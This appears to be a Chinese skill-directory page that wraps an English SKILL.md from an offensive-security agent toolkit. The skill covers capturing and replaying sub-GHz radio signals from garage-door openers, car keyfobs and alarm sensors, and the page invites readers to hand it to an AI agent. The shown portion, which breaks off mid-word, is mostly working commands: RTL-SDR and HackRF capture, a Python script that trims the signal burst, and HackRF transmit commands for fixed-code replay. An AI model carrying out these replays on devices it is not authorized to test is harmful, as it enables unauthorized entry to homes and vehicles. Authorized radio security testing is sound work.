sub-ghz
它能做什么
这份指南涵盖使用 sub-GHz 无线电的远程设备的安全检查,例如车库门开启器、报警传感器和钥匙扣。适合在获得授权的环境中审查自有设备的产品团队和测试人员。
适用场景
- ✓当产品团队想检查其遥控开门器使用的是滚动码还是固定码时。
- ✓当报警传感器发出的信号可能被记录并再次发送时。
- ✓当授权测试需要识别无线电设备的调制和编码方式时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的车库遥控器可能使用固定码。请帮我检查,它的信号能否在我们的测试设备上被记录并重放?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体识别无线电频率和编码方式,检查每次按键之后代码是否变化,并报告一段被记录的信号是否会再次被接受。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Sub-GHz ISM Band Capture and Replay
The 433/868/915 MHz ISM bands host a vast range of devices: garage door openers, car remote entry, alarm sensors, smart meters, weather stations, baby monitors, and industrial telemetry. Most use OOK or FSK modulation with no authentication. Fixed-code devices are trivially replayed. Rolling- code devices (KeeLoq, HiTag2) require additional analysis but have documented weaknesses.
Prerequisites
Hardware (any one or more):
- HackRF One (1 MHz–6 GHz, TX+RX, 20 Msps) — most versatile.
- Flipper Zero (sub-GHz module, 300–928 MHz) — fastest field replay.
- RTL-SDR Blog v4 (receive only, 24 MHz–1766 MHz) — cheapest capture.
- YARD Stick One (rfcat, 300–928 MHz, CC1111 based, TX+RX) — scriptable.
- Proxmark3 (car key HiTag2 analysis, NFC — separate workload).
Software:
rfcat,inspectrum, Universal Radio Hacker (URH),rtl_433, GNU Radio,hackrf_transfer,SigDigger,rpitx(Raspberry Pi TX alternative).
# Install rfcat (YARD Stick One / CC1111 based tools):
pip install rfcat
# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):
apt install rtl-433 # or build from https://github.com/merbanan/rtl_433
# Universal Radio Hacker:
pip install urh
# inspectrum (IQ file visualization):
apt install inspectrum
Frequency and Modulation Quick Reference
| Frequency | Region / Use | Common modulation |
|---|---|---|
| 433.92 MHz | EU/AS garage, keyfobs, sensors | OOK-PWM, OOK-Manchester |
| 315 MHz | US garage doors, legacy keyfobs | OOK-PWM |
| 868.35 MHz | EU alarms, smart meters, LoRa overlap | FSK, OOK |
| 915 MHz | US ISM (LoRa, sensors, meters) | FSK, OOK |
| 303 MHz | US TPMS, some car remotes | OOK |
| 868.95 MHz | KNX, some home automation | FSK |
Phase 1: Passive Capture and Signal Identification
RTL-SDR (receive only)
# Wideband spectrum survey — see what's broadcasting in the ISM band:
rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq
# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):
rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json
# For continuous monitoring and logging:
rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json
HackRF capture
# Capture 10 seconds of IQ at 433.92 MHz:
hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000
# For 868 MHz EU targets:
hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000
Flipper Zero (fastest field method)
On Flipper Zero:
- Sub-GHz → Frequency Analyzer: identifies active frequencies.
- Sub-GHz → Read: captures and stores a signal to flash.
- Sub-GHz → Read Raw: stores raw IQ for later analysis.
# Via Flipper CLI (qFlipper / USB serial):
# Export captured signals:
flipper_tx read /ext/subghz/captures/signal_001.sub
Phase 2: Signal Analysis with inspectrum and URH
# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):
inspectrum /tmp/433_capture.iq -r 2000000
# Open in URH for automatic modulation detection and bit decoding:
urh /tmp/433_capture.iq
# URH auto-detection: Signal → Autodetect parameters → shows encoding
# (OOK, FSK, PSK), bit rate, and decoded bits.
Key parameters to identify:
- Modulation: OOK (On-Off Keying) = on/off pattern; FSK = two frequencies.
- Bit rate: measure pulse width in inspectrum (typical: 1000–4000 bps for OOK remotes).
- Encoding: PWM (pulse-width), Manchester, NRZ, biphase.
- Preamble: usually alternating 01010101 or a long carrier burst.
Phase 3: Fixed-Code Replay
With HackRF
# Replay a captured signal exactly as recorded:
hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R # -R = repeat
# Trim the IQ file to a single clean burst before replaying:
python3 - <<'EOF'
import numpy as np
iq = np.fromfile("/tmp/433_capture.iq", dtype=np.int8)
# Find signal burst (amplitude threshold):
amplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))
threshold = amplitude.max() * 0.3
start = np.argmax(amplitude > threshold) - 100
end = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100
burst = iq[start*2:end*2]
burst.tofile("/tmp/433_burst_trimmed.iq")
print(f"Burst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)")
EOF
hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47
Wit
常见问题
什么是滚动码?
它是每次按键都会变化的代码,因此被记录的信号很难再次利用。
涵盖哪些频段?
该指南涵盖 433、868 和 915 MHz 的工业、科学和医疗频段。
提到了哪些工具?
该指南提到了几款软件定义无线电和分析工具,例如 inspectrum 和 rtl_433。
详情
作者的原始描述
Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification.
热度
- GitHub 星标
- 6.5k
- 排名
- #14103
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …